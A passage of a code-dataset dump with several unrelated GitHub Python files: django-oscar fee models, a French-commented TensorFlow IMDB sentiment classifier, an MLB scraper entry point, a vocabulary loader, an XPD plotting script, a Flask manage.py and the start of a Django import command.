ZERO_FEE\n return self.fee.proxy().apply(basket, self.condition.proxy(), self)\n\n def get_max_applications(self, user=None):\n \"\"\"\n Return the number of times this fee can be applied to a basket for a\n given user.\n \"\"\"\n if self.max_fee and self.total_fee >= self.max_fee:\n return 0\n\n # Hard-code a maximum value as we need some sensible upper limit for\n # when there are not other caps.\n limits = [10000]\n if self.max_user_applications and user:\n limits.append(max(0, self.max_user_applications -\n self.get_num_user_applications(user)))\n if self.max_basket_applications:\n limits.append(self.max_basket_applications)\n if self.max_global_applications:\n limits.append(\n max(0, self.max_global_applications - self.num_applications))\n return min(limits)\n\n def get_num_user_applications(self, user):\n raise NotImplementedError('ConditionalFee.get_num_user_applications')\n OrderDiscount = get_model('order', 'OrderDiscount')\n aggregates = OrderDiscount.objects.filter(offer_id=self.id,\n order__user=user)\\\n .aggregate(total=models.Sum('frequency'))\n return aggregates['total'] if aggregates['total'] is not None else 0\n\n def shipping_discount(self, charge):\n return self.benefit.proxy().shipping_discount(charge)\n\n def record_usage(self, fee):\n self.num_applications += fee['freq']\n self.total_fee += fee['fee']\n self.num_orders += 1\n self.save()\n record_usage.alters_data = True\n\n def availability_description(self):\n \"\"\"\n Return a description of when this offer is available\n \"\"\"\n restrictions = self.availability_restrictions()\n descriptions = [r['description'] for r in restrictions]\n return \"
    \".join(descriptions)\n\n def availability_restrictions(self): # noqa (too complex (15))\n restrictions = []\n if self.is_suspended:\n restrictions.append({\n 'description': _(\"Offer is suspended\"),\n 'is_satisfied': False})\n\n if self.max_global_applications:\n remaining = self.max_global_applications - self.num_applications\n desc = _(\"Limited to %(total)d uses (%(remainder)d remaining)\") \\\n % {'total': self.max_global_applications,\n 'remainder': remaining}\n restrictions.append({'description': desc,\n 'is_satisfied': remaining > 0})\n\n if self.max_user_applications:\n if self.max_user_applications == 1:\n desc = _(\"Limited to 1 use per user\")\n else:\n desc = _(\"Limited to %(total)d uses per user\") \\\n % {'total': self.max_user_applications}\n restrictions.append({'description': desc,\n 'is_satisfied': True})\n\n if self.max_basket_applications:\n if self.max_user_applications == 1:\n desc = _(\"Limited to 1 use per basket\")\n else:\n desc = _(\"Limited to %(total)d uses per basket\") \\\n % {'total': self.max_basket_applications}\n restrictions.append({\n 'description': desc,\n 'is_satisfied': True})\n\n def hide_time_if_zero(dt):\n # Only show hours/minutes if they have been specified\n if dt.tzinfo:\n localtime = dt.astimezone(get_current_timezone())\n else:\n localtime = dt\n if localtime.hour == 0 and localtime.minute == 0:\n return date_filter(localtime, settings.DATE_FORMAT)\n return date_filter(localtime, settings.DATETIME_FORMAT)\n\n if self.start_datetime or self.end_datetime:\n today = now()\n if self.start_datetime and self.end_datetime:\n desc = _(\"Available between %(start)s and %(end)s\") \\\n % {'start': hide_time_if_zero(self.start_datetime),\n 'end': hide_time_if_zero(self.end_datetime)}\n is_satisfied \\\n = self.start_datetime <= today <= self.end_datetime\n elif self.start_datetime:\n desc = _(\"Available from %(start)s\") % {\n 'start': hide_time_if_zero(self.start_datetime)}\n is_satisfied = today >= self.start_datetime\n elif self.end_datetime:\n desc = _(\"Available until %(end)s\") % {\n 'end': hide_time_if_zero(self.end_datetime)}\n is_satisfied = today <= self.end_datetime\n restrictions.append({\n 'description': desc,\n 'is_satisfied': is_satisfied})\n\n if self.max_fee:\n desc = _(\"Limited to a cost of %(max)s\") % {\n 'max': currency(self.max_fee)}\n restrictions.append({\n 'description': desc,\n 'is_satisfied': self.total_fee < self.max_fee})\n\n return restrictions\n\n @property\n def has_products(self):\n return self.condition.range is not None\n\n def products(self):\n \"\"\"\n Return a queryset of products in this offer\n \"\"\"\n Product = get_model('catalogue', 'Product')\n if not self.has_products:\n return Product.objects.none()\n\n cond_range = self.condition.range\n if cond_range.includes_all_products:\n # Return ALL the products\n queryset = Product.browsable\n else:\n queryset = cond_range.all_products()\n return queryset.filter(is_discountable=True).exclude(\n structure=Product.CHILD)\n\n\nclass Condition(abstract_models.AbstractCondition):\n class Meta:\n app_label = 'django_oscar_fees'\n verbose_name = _(\"Condition\")\n verbose_name_plural = _(\"Conditions\")\n default_related_name = 'fee_conditions'\n\n def proxy(self):\n \"\"\"\n Return the proxy model\n \"\"\"\n from . import conditions\n\n klassmap = {\n self.COUNT: conditions.CountCondition,\n self.VALUE: conditions.ValueCondition,\n self.COVERAGE: conditions.CoverageCondition\n }\n # Short-circuit logic if current class is already a proxy class.\n if self.__class__ in klassmap.values():\n return self\n\n field_dict = dict(self.__dict__)\n for field in list(field_dict.keys()):\n if field.startswith('_'):\n del field_dict[field]\n\n if self.proxy_class:\n klass = utils.load_proxy(self.proxy_class)\n # Short-circuit again.\n if self.__class__ == klass:\n return self\n return klass(**field_dict)\n if self.type in klassmap:\n return klassmap[self.type](**field_dict)\n raise RuntimeError(\"Unrecognised condition type (%s)\" % self.type)\n\n def __str__(self):\n return self.name\n\n def can_apply_condition(self, line):\n \"\"\"\n Determines whether the condition can be applied to a given basket line\n \"\"\"\n if not line.stockrecord_id:\n return False\n return self.range.contains_product(line.product)\n\n\nclass Fee(models.Model):\n range = models.ForeignKey(\n 'offer.Range',\n blank=True,\n null=True,\n on_delete=models.CASCADE,\n verbose_name=_(\"Range\"))\n\n # Benefit types\n PERCENTAGE, FIXED = (\"Percentage\", \"Absolute\")\n TYPE_CHOICES = (\n (PERCENTAGE, _(\"Fee is a percentage of the basket's value\")),\n (FIXED, _(\"Fee is a fixed amount\")),\n )\n type = models.CharField(\n _(\"Type\"), max_length=128, choices=TYPE_CHOICES, blank=True)\n\n # The value to use with the designated type. This can be either an integer\n # (eg for multibuy) or a decimal (eg an amount) which is slightly\n # confusing.\n value = fields.PositiveDecimalField(\n _(\"Value\"), decimal_places=2, max_digits=12, null=True, blank=True)\n\n # A custom benefit class can be used instead. This means the\n # type/value/max_affected_items fields should all be None.\n proxy_class = fields.NullCharField(\n _(\"Custom class\"), max_length=255, default=None)\n\n class Meta:\n # abstract = True\n app_label = 'django_oscar_fees'\n verbose_name = _(\"Fee\")\n verbose_name_plural = _(\"Fees\")\n\n def proxy(self):\n from . import fees\n\n klassmap = {\n self.PERCENTAGE: fees.PercentageFee,\n self.FIXED: fees.AbsoluteFee,\n }\n # Short-circuit logic if current class is already a proxy class.\n if self.__class__ in klassmap.values():\n return self\n\n field_dict = dict(self.__dict__)\n for field in list(field_dict.keys()):\n if field.startswith('_'):\n del field_dict[field]\n\n if self.proxy_class:\n klass = utils.load_proxy(self.proxy_class)\n # Short-circuit again.\n if self.__class__ == klass:\n return self\n return klass(**field_dict)\n\n if self.type in klassmap:\n return klassmap[self.type](**field_dict)\n raise RuntimeError(\"Unrecognised benefit type (%s)\" % self.type)\n\n def __str__(self):\n return self.name\n\n @property\n def name(self):\n \"\"\"\n A plaintext description of the benefit. Every proxy class has to\n implement it.\n\n This is used in the dropdowns within the offer dashboard.\n \"\"\"\n return self.proxy().name\n\n @property\n def description(self):\n \"\"\"\n A description of the benefit.\n Defaults to the name. May contain HTML.\n \"\"\"\n return self.name\n\n def apply(self, basket, condition, offer):\n from . import conditions\n\n if isinstance(condition, conditions.ValueCondition):\n return ZERO_FEE\n\n discount = max(self.value, D('0.00'))\n return BasketFee(discount)\n\n def clean(self):\n if not self.type:\n return\n method_name = 'clean_%s' % self.type.lower().replace(' ', '_')\n if hasattr(self, method_name):\n getattr(self, method_name)()\n\n def get_applicable_lines(self, fee, basket, range=None):\n \"\"\"\n Return the basket lines that are available for fee\n\n :basket: The basket\n :range: The range of products to use for filtering. The fixed-price\n benefit ignores its range and uses the condition range\n \"\"\"\n if range is None:\n range = self.range\n line_tuples = []\n for line in basket.all_lines():\n product = line.product\n\n if not range.contains(product):\n continue\n\n price = line.unit_effective_price\n if not price:\n # Avoid zero price products\n continue\n if line.quantity_without_discount == 0:\n continue\n line_tuples.append((price, line))\n\n # We sort lines to be cheapest first to ensure consistent applications\n return sorted(line_tuples, key=operator.itemgetter(0))\n\n def round(self, amount):\n \"\"\"\n Apply rounding to discount amount\n \"\"\"\n if hasattr(settings, 'OSCAR_OFFER_ROUNDING_FUNCTION'):\n return settings.OSCAR_OFFER_ROUNDING_FUNCTION(amount)\n return amount.quantize(D('.01'), ROUND_DOWN)\n\n\nclass FeeLine(models.Model):\n basket = models.ForeignKey('basket.Basket', on_delete=models.CASCADE,\n related_name='fee_lines', verbose_name=_('Basket'))\n\n price_currency = models.CharField(_(\"Currency\"), max_length=12, default=get_default_currency)\n price_excl_tax = models.DecimalField(_('Price excl. Tax'), decimal_places=2,\n max_digits=12, null=True)\n price_incl_tax = models.DecimalField(_('Price incl. Tax'), decimal_places=2,\n max_digits=12, null=True)\n\n fee = models.ForeignKey('django_oscar_fees.Fee', on_delete=models.CASCADE,\n related_name='basket_lines', verbose_name=_(\"Fee\"))\n\n quantity = models.PositiveIntegerField(_('Quantity'), default=1)\n\n date_created = models.DateTimeField(_(\"Date Created\"), auto_now_add=True)\n\n class Meta:\n ordering = ['date_created', 'pk']\n verbose_name = _('Basket fee')\n verbose_name_plural = _('Basket fees')\n\n def __str__(self):\n return _(\n u\"Basket #%(basket_id)d, Product #%(product_id)d, quantity\"\n u\" %(quantity)d\") % {'basket_id': self.basket.pk,\n 'product_id': self.product.pk,\n 'quantity': self.quantity}\n\n def save(self, *args, **kwargs):\n if not self.basket.can_be_edited:\n raise PermissionDenied(\n _(\"You cannot modify a %s basket\") % (\n self.basket.status.lower(),))\n return super().save(*args, **kwargs)\n\n\n# ORDER FEES\n\nclass OrderFee(models.Model):\n \"\"\"\n A fee against an order.\n\n Normally only used for display purposes so an order can be listed with\n fees displayed separately even though in reality, the fees are\n applied at the basket total level.\n \"\"\"\n order = models.ForeignKey(\n 'order.Order',\n on_delete=models.CASCADE,\n related_name=\"fees\",\n verbose_name=_(\"Order\"))\n\n fee_id = models.PositiveIntegerField(\n _(\"Fee ID\"), blank=True, null=True)\n fee_name = models.CharField(\n _(\"Fee name\"), max_length=128, db_index=True, blank=True)\n amount = models.DecimalField(\n _(\"Amount\"), decimal_places=2, max_digits=12, default=0)\n\n # Post-order offer applications can return a message to indicate what\n # action was taken after the order was placed.\n message = models.TextField(blank=True)\n\n class Meta:\n app_label = 'django_oscar_fees'\n verbose_name = _(\"Order Fee\")\n verbose_name_plural = _(\"Order Fees\")\n\n def save(self, **kwargs):\n if self.fee_id or not self.fee_name:\n fee = self.fee\n if fee:\n self.fee_name = fee.name\n\n super().save(**kwargs)\n\n def __str__(self):\n return _(\"Fee of %(amount)d from order %(order)s\") % {\n 'amount': self.amount, 'order': self.order}\n\n @property\n def fee(self):\n try:\n return Fee.objects.get(id=self.fee_id)\n except Fee.DoesNotExist:\n return None\n\n def description(self):\n return self.fee_name or u\"\"\n","repo_name":"JorrandeWit/django-oscar-fees","sub_path":"django_oscar_fees/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":22347,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"27138701869","text":"#CLASSIFICATION DE TEXTE\n\n# IMPORT MODULES\nfrom typing import Text\nimport numpy\nimport matplotlib.pyplot as plt\nimport os\nimport re\nimport shutil\nimport string\nfrom numpy.lib.function_base import vectorize\nimport tensorflow as tf\n\nfrom tensorflow.keras import layers \nfrom tensorflow.keras import losses\nfrom tensorflow.keras import preprocessing\nfrom tensorflow.keras.layers.experimental.preprocessing import TextVectorization\n\n\n\n\n# lien vers le dataset d'avis de films\nurl = \"https://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz\"\n\n# variable dataset\ndataset = tf.keras.utils.get_file(\"aclImdb_v1\", url,\n untar=True, cache_dir='.',\n cache_subdir='')\n# folder dataset\ndataset_dir = os.path.join(os.path.dirname(dataset), 'aclImdb')\n\n# affiche les folders dans le folder du dataset\nprint(os.listdir(dataset_dir))\n\n# folder du train data\ntrain_dir = os.path.join(dataset_dir, 'train')\n# on affiche le contenu du folder train\nprint(os.listdir(train_dir))\n\nremove_dir = os.path.join(train_dir, 'unsup')\nshutil.rmtree(remove_dir)\n\n\n\n# DÉFINITIONS DU RÔLES DES DONNÉES\n\nbatch_size = 32\nseed = 48\n\n# ensemble d'entrainement\nraw_train_ds = tf.keras.preprocessing.text_dataset_from_directory(\n 'aclImdb/train',\n batch_size=batch_size,\n validation_split=0.2,\n subset='training',\n seed=seed\n)\n\n# ensemble de validation\nraw_val_ds = tf.keras.preprocessing.text_dataset_from_directory(\n 'aclImdb/train',\n batch_size=batch_size,\n validation_split=0.2,\n subset='validation',\n seed=seed\n)\n\n# ensemble de test\nraw_test_ds = tf.keras.preprocessing.text_dataset_from_directory(\n 'aclImdb/test',\n batch_size=batch_size\n)\n\n\n\n# SUPPRESSION DES BALISES HTML DU TEXTE ET AUTRES SALOPERIES\n\n# lowercase-isation + dégage le html\ndef custom_standardization(input_data):\n lowercase = tf.strings.lower(input_data)\n stripped_html = tf.strings.regex_replace(lowercase, '
    ', ' ')\n return tf.strings.regex_replace(stripped_html,\n '[%s]' % re.escape(string.punctuation),\n '')\n# vectorization, tokenisation des data, en bref ça assigne les data à des tokens & nombres\n\nmax_features = 10000\nsequence_length = 250\n\nvectorize_layer = TextVectorization(\n standardize=custom_standardization,\n max_tokens=max_features,\n output_mode='int',\n output_sequence_length=sequence_length\n)\n\n\n# rendre le dataset uniquement en texte ?\n\ntrain_text = raw_train_ds.map(lambda x, y: x)\nvectorize_layer.adapt(train_text)\n\n# afficher le résultat de notre préprocessing du dataset\n\ndef vectorize_text(text, label):\n text = tf.expand_dims(text, -1)\n return vectorize_layer(text), label\n\ntext_batch, label_batch = next(iter(raw_train_ds))\nfirst_review, first_label = text_batch[0], label_batch[0]\nprint(\"review 0: \", first_review)\nprint(\"label 0: \", raw_train_ds.class_names[first_label])\nprint(\"review vectorisée: \", vectorize_text(first_review, first_label))\n\n\n# tokens correspondent à chaine de caractère\n# j'affiche le token 777 qui correspond à \" tom \"\nprint(\"777 -> \", vectorize_layer.get_vocabulary()[777])\n\n\n\n# on applique ce préprocessing à l'ensemble du dataset pour la suite\n\n# au jeu de données de train\ntrain_ds = raw_train_ds.map(vectorize_text)\n# au jeu de données de validation\nval_ds = raw_val_ds.map(vectorize_text)\n# et au jeu de données de test\ntest_ds = raw_test_ds.map(vectorize_text)\n\n\n# utilisation de .cache et .prefetch pour que les entrées et sorties ne soit pas bloquantes\n# .cache garde les data en memoire apres chargement, evite trop de data a charger d'un coup\n# .prefetch traite les data pendant l'execution de l'entrainement du modèle \n\n\nAUTOTUNE = tf.data.AUTOTUNE\n\n# .cache & .prefetch sur les 3 ensembles de data\n\ntrain_ds = train_ds.cache().prefetch(buffer_size=AUTOTUNE) \nval_ds = val_ds.cache().prefetch(buffer_size=AUTOTUNE)\ntest_ds = test_ds.cache().prefetch(buffer_size=AUTOTUNE)\n\n\n\n# CRÉATION DU RÉSEAU DE NEURONES\n\nembedding_dim = 16\n\n\nmodel = tf.keras.Sequential([\n # première couche de neurones : cherche vecteur d'integration pour chaque index de mot\n layers.Embedding(max_features + 1, embedding_dim),\n layers.Dropout(0.2),\n # couche globalaveragepooling1d gère les data d'entrée qui ont une longeur variable 'bite', 'couille'\n layers.GlobalAveragePooling1D(),\n layers.Dropout(0.2),\n # dernière couche, un seul neurone de sortie\n layers.Dense(1)\n])\n\n# affiche la configuration du modèle\nprint(model.summary())\n\n# COMPILATION DU MODÈLE, FONCTION DE PERTE ETC... \n\nmodel.compile(loss=losses.BinaryCrossentropy(from_logits=True),\n optimizer='adam',\n metrics=tf.metrics.BinaryAccuracy(threshold=0.0))\n\n# ENTRAINEMENT DU MODÈLE\n\n# nombre d'itérations ~15 correct pas d'overfit ou d'underfit\nepochs = 15\n\nhistory = model.fit(\n # données d'entrainement\n train_ds,\n # données attendues\n validation_data=val_ds,\n # itérations\n epochs=epochs\n)\n\n\n# résultats de l'entrainement sur les data de test\n\nloss, accuracy = model.evaluate(test_ds)\n\n# affiche la précision et la perte ~86% pour 20 itérations\nprint(\"loss->\",loss)\nprint(\"précision->\", accuracy)\n\n# afficher ces résultats sur un graphique\n\n# affiche les 4 métriques qui surveillent le modèle pendant l'entrainement\nhistory_dict = history.history\nprint(history_dict.keys())\n\n\n# on simplifie le bordel et on affiche ça dans un graphique\n\nacc = history_dict['binary_accuracy']\nval_acc = history_dict['val_binary_accuracy']\nloss = history_dict['loss']\nval_loss = history_dict['val_loss']\n\nepochs = range(1, len(acc) + 1)\n\n\n# GRAPHIQUE POUR LA LOSS\n# dans matplotlib, bo = blue dot , b = solid blue line\nplt.plot(epochs, loss, 'bo', label='ENTRAINEMENT LOSS')\nplt.plot(epochs, val_loss, 'b', label='VALIDATION LOSS')\nplt.title(' LOSS POUR L\\'ENTRAINEMENT ET LA VALIDATION ')\nplt.xlabel('Itérations')\nplt.ylabel('Loss')\nplt.legend()\nplt.show()\n\n# GRAPHIQUE POUR LA PRÉCISION\nplt.plot(epochs, acc, 'bo', label='PRÉCISION ENTRAINEMENT')\nplt.plot(epochs, val_acc, 'b', label='PRÉCISION VALIDATION')\nplt.title('PRÉCISION POUR LE TRAIN ET LA VALIDATION')\nplt.xlabel('Itérations')\nplt.ylabel('Précision')\nplt.legend(loc='lower right')\nplt.show()\n\n\n# EXPORT DU MODÈLE ENTRAINÉ ! \n\nexport_model = tf.keras.Sequential([\n vectorize_layer,\n model,\n layers.Activation('sigmoid')\n])\n\n# compilation\nexport_model.compile(\n loss=losses.BinaryCrossentropy(from_logits=False), optimizer=\"adam\", metrics=['accuracy']\n)\n# affichage loss/accuracy\nloss, accuracy = export_model.evaluate(raw_test_ds)\nprint(accuracy)\n\n\n# PRÉDICTIONS SUR DES DONNÉES A LA MANO\n\nexamples = [\n \"This film was the best i ever seen !\",\n \"The film is normal.\",\n \"This movie is shitty\"\n]\n\n# affichage des prédictions\nprint(export_model.predict(examples))\n\n# ~1 = Avis positif, joyeux\n# ~0 = Avis négatif, malheureux\n\n\n\n\n","repo_name":"bgdtc/TensorflowBasics","sub_path":"FeelingAnalysis.py","file_name":"FeelingAnalysis.py","file_ext":"py","file_size_in_byte":6967,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34948371603","text":"from components.browser import Browser\nfrom scrapers.teams_scraper import TeamsScraper\nfrom scrapers.stats_scraper import StatsScraper\nfrom scrapers.games_today_scraper import GamesTodayScraper\nfrom components.cms import CMS\nfrom components.logger import Logger\n\n\ndef main() -> None:\n NUM_BATTERS = 3\n logger = Logger()\n\n browser = Browser()\n browser.start_browser(is_headless=True)\n try:\n logger.report_start()\n has_teams, teams_playing = GamesTodayScraper(browser).get_games()\n if has_teams == True:\n batters = TeamsScraper(browser).get_batters(NUM_BATTERS, teams_playing)\n final_batters = StatsScraper(browser).get_stats(batters)\n CMS().update_cms(final_batters)\n except Exception:\n logger.report_exception()\n finally:\n logger.report_end()\n logger.make_report()\n browser.close_browser()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"edsonjaramillo/mlb-hit-helper-scraper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"10376184692","text":"import os\nfrom collections import Counter\nimport pickle\n\nclass Vocabulary:\n def __init__(self,voc_path):\n self.voc = load_voc(voc_path)\n self.inv_voc = make_inv_voc(self.voc)\n self.counts = load_counts(voc_path,self.voc)\n self.size = len(self.voc)\n\n def get_counts(self, word):\n w_id = self.voc.get(word, None)\n if w_id is None:\n raise Exception(\"word is not in vocabulary\")\n\n return self.counts[w_id]\n\n def w2id(self, word):\n w_id = self.voc.get(word, None)\n if w_id is None:\n raise Exception(\"word is not in vocabulary\")\n return w_id\n\n def id2w(self, id):\n w = self.inv_voc.get(id, None)\n if w is None:\n raise Exception(\"word is not in vocabulary\")\n return w\n\n def most_common(self,N):\n mc = []\n for w_id, count in self.counts.most_common(N):\n mc.append((self.id2w(w_id), count))\n return mc\n\ndef make_inv_voc(vocab):\n return {id: word for word, id in vocab.items()}\n\ndef load_voc(path):\n vocab = dict()\n\n voc_path = os.path.join(path, \"wiki_vocab\")\n voc_path_pkl = os.path.join(path, \"wiki_vocab.pkl\")\n\n if os.path.isfile(voc_path_pkl):\n vocab = pickle.load(open(voc_path_pkl, \"rb\"))\n else:\n with open(voc_path, \"r\") as vocab_file:\n lines = vocab_file.read().split(\"\\n\")\n for line in lines:\n elem = line.split(\" \")\n if len(elem) == 2:\n vocab[elem[0]] = int(elem[1])\n pickle.dump(vocab, open(voc_path_pkl, \"wb\"), protocol=4)\n return vocab\n\ndef load_counts(path, vocab):\n token_counter = Counter()\n\n counts_path = os.path.join(path, \"wiki_tokens\")\n counts_path_pkl = os.path.join(path, \"wiki_tokens.pkl\")\n\n if os.path.isfile(counts_path_pkl):\n token_counter = pickle.load(open(counts_path_pkl, \"rb\"))\n else:\n with open(counts_path, \"r\") as token_file:\n lines = token_file.read().split(\"\\n\")\n for line in lines:\n elem = line.split(\" \")\n if len(elem) == 2:\n token_counter[vocab[elem[0]]] = int(elem[1])\n pickle.dump(token_counter, open(counts_path_pkl, \"wb\"), protocol=4)\n return token_counter\n","repo_name":"VitalyRomanov/morphological-embeddings","sub_path":"Vocabulary.py","file_name":"Vocabulary.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9184011734","text":"print(\"Wlecome to the rollercoaster!\")\nheight = int(input(\"What is your height in cm? \"))\n\nif height > 120:\n price = 0\n age = int(input(\"Please enter your age: \"))\n if age < 12:\n price = 5\n elif age <= 18:\n price = 7\n elif age < 45 or age > 55:\n price = 12\n\n photo = int(input(\"Please enter 1 if you'd photos from the ride: \"))\n \n if photo == 1:\n price += 3\n \n print(f\"The total bill is: {price}\")\n\nelse:\n print(\"Sorry, you are too short to ride\")","repo_name":"ShaharTamir/Python100DaysOfCode","sub_path":"Day3-ControlFlow/FlowControl.py","file_name":"FlowControl.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"43299280230","text":"\"\"\"\nFile: Plot_XPD_in-situ_heating\nName: Cheng-Chu Chung\n----------------------------------------\nTODO: Plot XPD in-situ heating\n\"\"\"\nimport pandas as pd\nfrom pathlib import Path\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport palettable.colorbrewer.sequential as pbs\nimport palettable.cartocolors.diverging as pcd\nimport palettable.cartocolors.sequential as pcs\nimport palettable.scientific.sequential as pss\nimport time as t\nimport pysnooper\n\n# Constant\nINPUT_PATH = r'D:\\Research data\\SSID\\202204\\20220406 XPD ex-situ check\\LK_b30-14_Nb40Al60Sc_SiO2Si_pristine_heating'\nTIMESTAMP_FILE = 'sample_LK_heating_20220408_172022.xlsx' # '' will return index as the color bar\nFILE_TYPE = '.xy'\nHEADERS = ['Q or 2theta', 'intensity']\nSKIPROWS = 23\nPLOT_LIST = list(np.arange(0, 191, 5)) # [] for default or [1, 7, 5, 3] index list for the index sequence you desire\nCOLORBAR_TICKS = 10\nPALETTE = pcd.Earth_7\nCMAP = PALETTE.mpl_colormap\nPLOT_OFFSET = 0.5 # Number you want to add to an offset for each curve.\nPLOT_FIGURE = True # \"True\" if you want to show the plots\nSAVE_IMG = False # \"True\" if you want to save the converted file\n\n\n# @pysnooper.snoop()\ndef main():\n data_info_list = file_preprocessing()\n data_number = len(data_info_list['filename_list'])\n timestamp_info = read_timestamp(data_number)\n plot_data(data_info_list, timestamp_info)\n\n\ndef file_preprocessing():\n list_dict = {'x_list': {}, 'y_list': {}, 'filename_list': {}}\n # Path function converts \\ to / and glob method returns .xy files in a generator ---> Very powerful!\n files = Path(INPUT_PATH).glob(f'*{FILE_TYPE}')\n number_of_files = len(list(files)) # Path function ends\n files = Path(INPUT_PATH).glob(f'*{FILE_TYPE}') # Call Path again to execute the for-loop\n print('Index Filename')\n for index, file_directory in enumerate(files):\n file = file_directory.resolve() # Make the path absolute, resolving any symlinks\n filename = file.name\n print('{0:<5} {1}'.format(index, filename))\n list_dict['filename_list'][index] = filename\n data = pd.read_table(file,\n delimiter='\\s+',\n engine='python',\n skiprows=SKIPROWS,\n names=HEADERS)\n x = np.array(data[HEADERS[0]].tolist()) # q\n y = np.array(data[HEADERS[1]].tolist()) # I(q)\n list_dict['x_list'][index] = x\n list_dict['y_list'][index] = y\n if index == number_of_files-1:\n print('=================================')\n print(data)\n return list_dict\n\n\ndef plot_data(data_info_list, timestamp_info):\n if len(PLOT_LIST) == 0:\n index = data_info_list['filename_list'] # Select the index from the list_dict['filename_list']\n else:\n index = PLOT_LIST\n plot_sequence = 0\n colors = [CMAP(i) for i in np.linspace(0, 1, len(index))] # Create a color bar scale\n print('=================================')\n print('Plot:')\n\n # Create a color bar based on the number of data you want to plot\n if TIMESTAMP_FILE == '':\n time_interval = 60\n else:\n time = timestamp_info['time'].tolist()\n time.reverse()\n time_interval = (time[1] - time[0]).seconds\n color_x = range(len(index))\n color_y = range(len(index))\n color_scale = np.array(index)*time_interval/60\n color_bar = plt.scatter(color_x, color_y, c=color_scale, cmap=CMAP)\n plt.close()\n\n # Start to plot\n fig, ax = plt.subplots(linewidth=50)\n for i in index:\n x = data_info_list['x_list'][i]\n y = data_info_list['y_list'][i] + plot_sequence * PLOT_OFFSET\n filename = data_info_list['filename_list'][i]\n print(i, filename)\n plt.plot(x, y, color=colors[index.index(i)], linewidth=2) # , label=f'{filename}'\n plot_sequence += 1\n\n # Plot format\n for axis in ['top', 'bottom', 'left', 'right']: # Change all spines\n ax.spines[axis].set_linewidth(1.5)\n ax.tick_params(width=1.5) # Increase tick width\n plt.xlabel('$\\mathregular{q \\ (\\\\AA^{-1})}$', fontsize=18)\n plt.ylabel('Intensity (arb. units)', fontsize=18)\n plt.xlim(1, 10)\n # plt.ylim(1, 40)\n plt.xticks(fontsize=14)\n plt.yticks(fontsize=14)\n plt.legend(title=f' Sample name\\n'\n f'b30-14_Nb40Al60Sc_SiO2Si', title_fontsize=12)\n plt.title(f'XPD in-situ heating experiment - {len(index)}/{len(data_info_list[\"filename_list\"])}', fontsize=14)\n\n # Color bar setting\n ticks_setting = np.linspace(color_scale.min(), color_scale.max(), COLORBAR_TICKS, endpoint=True)\n cbar = fig.colorbar(color_bar, ticks=ticks_setting, pad=0.05)\n if TIMESTAMP_FILE == '':\n cbar.set_label('Index', fontsize=18)\n else:\n cbar.set_label('Time (mins)', fontsize=18, labelpad=10)\n cbar.ax.tick_params(labelsize=12, width=1.5)\n\n # Export the figure\n plt.tight_layout(pad=2)\n if SAVE_IMG:\n fig.savefig(\"{}/XPD_{}.png\".format(Path(INPUT_PATH), t.time())) # <--- added to save figure\n if PLOT_FIGURE:\n plt.show()\n\n\ndef read_timestamp(number_of_rows):\n if TIMESTAMP_FILE == '':\n pass\n else:\n file = (Path(INPUT_PATH) / f'{TIMESTAMP_FILE}').resolve() # Make the path absolute, resolving any symlinks\n data = pd.read_excel(file)[:number_of_rows]\n return data\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"JamesChung821/Python-tools","sub_path":"plot_xrd_SSID_insitu.py","file_name":"plot_xrd_SSID_insitu.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"32065318510","text":"from flask_script import Manager, Server\nfrom flask_migrate import Migrate, MigrateCommand, migrate, upgrade\nfrom sqlalchemy_utils import database_exists, create_database\n\nfrom application.app import app, db\nfrom gunicorn_script import GunicornServer\n\n_migrate = Migrate(app, db)\nmanager = Manager(app)\n\nmanager.add_command(\"runprodserver\", Server(\n use_debugger = False,\n use_reloader = False,\n host = '0.0.0.0',\n port = 5000) )\n\n# migrations\nmanager.add_command('db', MigrateCommand)\nmanager.add_command('rungunicorn', GunicornServer())\n\n@manager.command\ndef create_db():\n\t\"\"\"Creates the db tables.\"\"\"\n\twith app.app_context():\n\t\tprint(\"Loaded Flask App Context\\n\")\n\t\tif not database_exists(db.engine.url): \n\t\t\tcreate_database(db.engine.url)\n\t\t\tprint(\"Created Database\\n\")\n\t\tdb.create_all()\n\n@manager.command\ndef setup_db():\n\t\"\"\"Creates the db tables.\"\"\"\n\twith app.app_context():\n\t\tprint(\"Loaded Flask App Context\\n\")\n\t\tif not database_exists(db.engine.url): \n\t\t\tcreate_database(db.engine.url)\n\t\t\tprint(\"Created Database\\n\")\n\t\t\tdb.create_all()\n\t\tupgrade()\n\t\tmigrate()\n\t\tprint(\"Successfully Performed Migrations\\n\")\n\nif __name__ == '__main__':\n\tmanager.run()\n","repo_name":"whitef0x0/cvio","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"28221561368","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCommand import_people as provided by CIPPD\n\nDepends on popit.\n\"\"\"\n__docformat__ = 'epytext en'\n\nimport csv\nimport codecs, sys, locale\n#from datetime import datetime\nfrom django.core.management.base import BaseCommand\nfrom django.core.exceptions import ValidationError\nfrom django.db import transaction\nfrom optparse import make_option\n\nimport glt\nfrom popit.models import *\n\n\n#: CSV delimiter\nDELIMITER = '|'\n\n\nclass Command (BaseCommand):\n \"\"\"Command to import people from a CSV file.\"\"\"\n #: allowed arguments to the command\n args = ''\n #: help string\n help = 'Imports people records from a CSV file.'\n #: custom options\n option_list = BaseCommand.option_list + (\n make_option(\n '--force',\n action='store_true',\n dest='force',\n default=False,\n help='Force replacing people.'\n ),\n )\n #: force overwriting 